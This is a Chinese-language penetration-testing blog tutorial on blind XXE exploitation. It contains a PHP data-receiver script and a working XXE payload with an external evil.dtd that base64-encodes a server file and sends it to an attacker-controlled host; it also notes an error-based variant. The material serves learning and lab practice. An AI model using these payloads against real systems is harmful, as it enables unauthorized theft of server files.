今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE无回显攻击详解。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、XXE无回显攻击简介
在XXE漏洞详解(三)——XXE漏洞实际运用一文中,我们讲解了XXE漏洞在目标站点站点存在回显的情况下如何利用。但是,有时目标站点只会接收并处理我们上传的XML文档,但是并不会将处理结果显示在页面上。我们把这种情况称之为无回显的XXE漏洞。
针对这种情况,我们的思路有两种,一种是让Web服务器访问我们自己搭建的一个站点,将目标文件进行Base64加密后当作访问站点时的一个参数携带,这样我们就可以接收信息了。另一种思路是使得Web获得敏感文件数据后,访问一个不存在的地址,这样在页面上会产生报错,我们也可以获得信息了。
二、XXE无回显攻击实战
下面,我们就进行XXE无回显的攻击实战。
我们首先来搭建一个可以获取信息的站点,PHP代码如下所示:
<?php
$data=$_GET['data'];
$fp = fopen('data.txt','a');
fwrite($fp,$data);
fclose($fp);
echo "<user><username>admin</username><password>admin</password></user>";
?>
在上述代码中,PHP会接收以GET方式传入的data变量值,并将这个变量值写入本地的data.txt文档,并且还会返回一个XML格式的数据。假设这个站点IP地址为192.168.136.1(本地实验使用,真正实战中因该为一个公网IP地址)。那么我们的EXP如下所示:
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.136.1/test/evil.dtd">
%dtd;
%send;
]>
而http://192.168.136.1/test/evil.dtd文件的内容是:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.136.1/test/receive.php?data=%file;'>"
>
%all;
这样,我们将上述EXP输入后,查看本地data.txt文件,结果如下所示:
此外,如果我们把http://192.168.136.1/test/evil.dtd文件中的IP地址改为一个根本不存在的IP地址,那么就会在页面上产生报错,也可以将获得的信息显现出来,如下所示:
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200